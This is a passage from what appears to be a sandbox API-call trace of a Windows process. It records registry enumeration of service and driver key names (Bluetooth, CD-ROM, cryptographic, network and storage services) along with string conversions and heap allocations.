RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0228.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0228.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0228.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0228.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0228.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0228.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0228.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0228.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0228.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0228.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0228.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0228.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0228.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0228.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0228.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0228.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0228.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0228.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0228.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0228.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0228.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0228.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0228.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0228.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0228.598] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0228.598] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0228.598] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0228.598] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0228.598] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0228.598] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0228.598] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0228.598] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0228.598] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0228.598] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0228.598] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0228.598] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0228.598] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0228.599] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0228.599] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0228.599] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0228.599] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0228.599] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0228.599] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0228.599] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0228.599] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0228.599] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0228.599] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0228.599] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0228.599] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0228.599] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0228.600] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0228.600] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0228.600] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0228.600] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0228.600] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0228.600] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0228.600] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0228.600] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0228.600] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0228.600] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0228.600] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0228.600] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0228.600] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0228.600] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0228.601] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0228.602] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0228.602] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0228.602] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0228.602] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0228.602] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0228.602] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0228.602] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0228.602] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0228.602] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0228.602] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0228.602] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0228.602] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0228.602] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0228.602] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0228.603] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0228.604] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0228.604] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0228.604] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0228.604] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0228.604] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0228.604] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0228.604] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0228.604] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0228.604] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0228.604] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0228.604] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0228.604] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 